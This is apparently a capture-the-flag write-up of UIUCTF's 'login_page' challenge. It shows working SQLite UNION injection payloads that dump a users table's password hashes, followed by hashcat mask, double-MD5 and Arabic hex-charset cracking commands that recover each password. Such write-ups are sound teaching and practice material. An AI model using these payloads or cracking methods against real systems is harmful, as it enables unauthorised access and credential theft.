Introduction
This weekend, I decided play in UIUCTF, an online event organized by the SIGPwny security group at The University of Illinois at Urbana-Champaign.
This post is a writeup of login_page, a 200-point web challenge.
In this event I went by the name “I am (G)root”, playing with a couple friends under the
team name “Isle Be Back”.
I got the first capture for this flag, although there was some technical issues that may have prevented another teaming from capping it before me.
Starting Out
From the description alone, my first thought was that this is probably a SQL injection challenge. From the description, I knew that the database in sqlite, which would be useful for creating a valid payload.
Going to the challenge link, I was presented with a very simple looking page.
I tried basic SQLi payloads on the login screen, like " OR 1=1--
and similar. After those didnt’t appear to work, my attention was drawn to the ‘search for users’ link at the bottom of the page.
Trying to search ‘a’, I got 3 results: ‘alice’, ‘carl’, and ‘dania’.
This search appeared to be doing a partial match on the input text.
Based on this, my initial guess was that it was executing a SQL statement something like:
"SELECT username, bio FROM USERS WHERE username LIKE %" + search + "%"
To validate this, I then searched only for ‘%’. If the SQL query is structured how I thought it was, then that search should generate the query:
"SELECT username, bio FROM USERS WHERE username LIKE %%%"
As such, it would return every user in the database.
The output from the search confirmed my guess.
Next, I wanted to see whether this input could be injected.
If I entered just "
into the search, the app threw up an error, which suggested that the code was vulnerable to SQLi.
SQLi
Knowing that I had an injection point, I then tried to find out more information about the database.
I hadn’t previously done many SQLi attacks against sqlite in particular, so I had to do a bit of research on this one.
This PDF contained exactly the payloads I needed.
First, I tried a basic UNION injection to see if I could get the names of the database tables.
%" UNION SELECT 1,group_concat(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite%' --
As seen in the screenshot, this was successful. There was a single table, called users
.
Next, I wanted to get the names of the columns in the users
table, so I used this payload:
%" UNION SELECT 1,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL and name NOT LIKE 'sqlite%' AND name='users'--
That gave me the following output:
Name Bio
1 CREATE TABLE users ( username text primary key not null, password_hash text not null, hint text not null, bio text not null)
alice this is alice's bio
bob this is bob's bio
carl this is carl's bio
dania this is dania's bio
noob this is noob's bio
There were 4 columns in the table: username
, password_hash
, hint
and bio
.
password_hash
was obviously interesting, so I dumped those:
%" UNION SELECT username,password_hash FROM users--
Name Bio
alice 530bd2d24bff2d77276c4117dc1fc719
alice this is alice's bio
bob 4106716ae604fba94f1c05318f87e063
bob this is bob's bio
carl 661ded81b6b99758643f19517a468331
carl this is carl's bio
dania 58970d579d25f7288599fcd709b3ded3
dania this is dania's bio
noob 8553127fedf5daacc26f3b677b58a856
noob this is noob's bio
In addition to the hashes, the hint
column stuck out to me:
%" UNION SELECT username,hint FROM USERS--
alice My phone number (format: 000-000-0000)
alice this is alice's bio
bob My favorite 12 digit number (md5 hashed for extra security) [starts with a 1]
bob this is bob's bio
carl My favorite Greek God + My least favorite US state (no spaces)
carl this is carl's bio
dania this is dania's bio
dania الحيوان المفضل لدي (6 حروف فقط)
noob
noob this is noob's bio
Note that the arabic characters here are in the wrong order. I think it’s a unicode RTL issue that happened when I was pasting it into markdown.
Hashing it out
Now that I had a hash and hint for each user, I needed to go through and crack each password hash. Based on the format of the hashes and the text of Bob’s password hint, I guessed that these were md5 hashes.
Noob
Before I pulled out hashcat, I pasted all the hashes into crackstation.net to see if I could get any easy wins. This immediately gave me noob’s password, “SoccerMom2007”. This password is also in rockyou.txt, so a simple dictionary attack would have also found it quickly.
Going back to the login page, this username and password gave me the the first part of the flag: uiuctf{Dump
!
Alice
Alice’s hint is “My phone number (format: 000-000-0000)” When I captured this flag, however, I believe the format wasn’t listed, so I had to do a bit more work.
Since a phone number has a relatively small number of valid formats such as (xxx)-xxx-xxxx
, xxx-xxx-xxxx
, or xxxxxxxxxx
, this can be brute forced using a mask attack in hashcat.
hashes.hcmask
contained the following masks:
(,),-,?1?d?d?d?2?3?d?d?d?3?d?d?d?d
?d,-,?1?1?1?2?1?1?1?2?1?1?1?1
?d,+?d?1?1?1?1?1?1?1?1?1?1
?d,?1?1?1?1?1?1?1?1?1?1
?d?d?d-?d?d?d?d
?d?d?d?d?d?d?d
These covered most common phone number formats, including 7-digit ones.
I ran:
.\hashcat64.exe -m 0 -a 3 .\hashes.txt .\hashes.hcmask -O
After a few minutes, I got Alice’s password.
530bd2d24bff2d77276c4117dc1fc719:704-186-9744
Once again, I logged in to get the next piece of the flag.
Bob
Bob’s password hint of “My favorite 12 digit number (md5 hashed for extra security)” was a bit misleading for me. At first, I thought that the reference to md5 was just a hint that the hashes stored in the database were md5 hashes.
After running a hashcat mask attack to try all 12 digit numbers, however, I realized that I read the hint wrong.
Bob’s password hint actually meant that the password itself is an md5 hash, so I used hashcat’s md5(md5($pass))
mode:
.\hashcat64.exe -m 2600 -a 3 .\hashes.txt ?d?d?d?d?d?d?d?d?d?d?d?d -O
This got me the 10-digit number in question:
4106716ae604fba94f1c05318f87e063:102420484096
However, since Bob’s password is double hashed, I actually needed to take the md5 hash of that number:
echo -n 102420484096 | md5sum
5809be03c7cc31cdb12237d0bd718898 -
That successfully got me another part of the flag.
You have successfully logged in! Here's part 2 of the flag: h45h_63
Carl
Carl’s password hint is: “My favorite Greek God + My least favorite US state (no spaces)”
I don’t think there’s a premade wordlist for that, so I made a Python script to create one. gods.txt
and states.txt
are just lists of Greek god names and US states that I found online.
out = open('god_states.txt', 'w')
with open ('gods.txt', 'r') as gods:
godlist = gods.readlines()
with open('states.txt', 'r') as states:
statelist = states.readlines()
for god in godlist:
for state in statelist:
gs = god.rstrip()+state.rstrip()+"\n"
print(gs)
out.write(gs)
Now that I had my wordlist, I used it in a dictionary attack:
.\hashcat64.exe -m 0 -a 0 .\hashes.txt .\god_states.txt
661ded81b6b99758643f19517a468331:DionysusDelaware
As expected, this was correct password for Carl.
You have successfully logged in!
Here's part 3 of the flag: 7_d4t_
That’s four parts down, one to go.
Dania
Dania’s password was the hardest to crack. Her password hint is in Arabic. Putting it to google translate, I saw that it means:
“My favorite animal (6 Arabic characters only)”
This one also was changed after I captured it. Initially, it only said “My favorite animal (6 letters only)”
Based on the fact that the hint was in Arabic, I still was able to guess that I probably wanted to try an Arabic password, even without the help of the additional clarification that was added later.
The indication that the password was only 6 characters suggested to me that a brute force attack might be the way to go here.
Cracking passwords that aren’t in the Latin alphabet proved to be surprisingly tricky. Thankfully, I found this very useful resource on that exact topic, specifically discussing brute forcing Arabic passwords in hashcat.
Even though I got the general gist of what to do from that article, I quickly ran into a problem: hashcat was estimating that the attack would take more than 12 hours on my PC. I was running this on my gaming PC, so it had a decent GPU. I needed a way to cut down on time it’d take to crack.
The way the attack works, each character of the password is actually composed of 2 character classes: ?1
and ?2
. This is because unicode characters are represented by 2 bytes instead of 1. Group 1 is the first byte, which acts as a prefix here. Arabic characters start around d8
on the table. The example from the article takes prefixes from d8
to db
. Group 2 specifies the characters within that prefix.
To cut down on the search space, I needed to search fewer prefixes. Looking at the hex values of characters in Dania’s password hint and comparing those to the Unicode table, I inferred that alphabetic characters seemed to be around the start of the Arabic portion of the table.
Based on this information, I tried an attack using only d8
and d9
as prefixes.
.\hashcat64.exe -a 3 -m 0 --hex-charset 58970d579d25f7288599fcd709b3ded3 -1 d8d9 -2 808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf ?1?2?1?2?1?2?1?2?1?2?1?2 -O -w 3
This gave me a password within only a few seconds:
58970d579d25f7288599fcd709b3ded3:طاووسة
Copy-pasting that into the login page, I was able to log in and claim the 4th and final part of the flag!
You have successfully logged in! Here's part 4 of the flag: c45h}
Finishing Up
Now that I had all the flag pieces, it was just a matter of putting them together.
uiuctf{Dump_4nd_unh45h_637_d4t_c45h}
When I tried to submit that, though, it didn’t work…
Since I was almost certain that I had the correct flag, I went on the UIUCTF Discord server and messaged the Modmail bot to confirm that I had the right flag.
It turns out that I did have the correct flag, and something was just set wrong on the organizers’ end. They fixed it immediately after I asked them about it, and I successfully got the first capture on the flag.
Conclusion
I really enjoyed doing this flag, and I appreciate the very fast response from the UIUCTF team about the technical issues with submitting it.
I went in expecting more of a SQLi challenge than a password cracking one, but it was a fun exercise in expanding my password cracking skills. The Arabic password was especially cool. I had never tried that technique before, and it’s very useful to know in case I run into non-latin passwords on a red team or something in the future.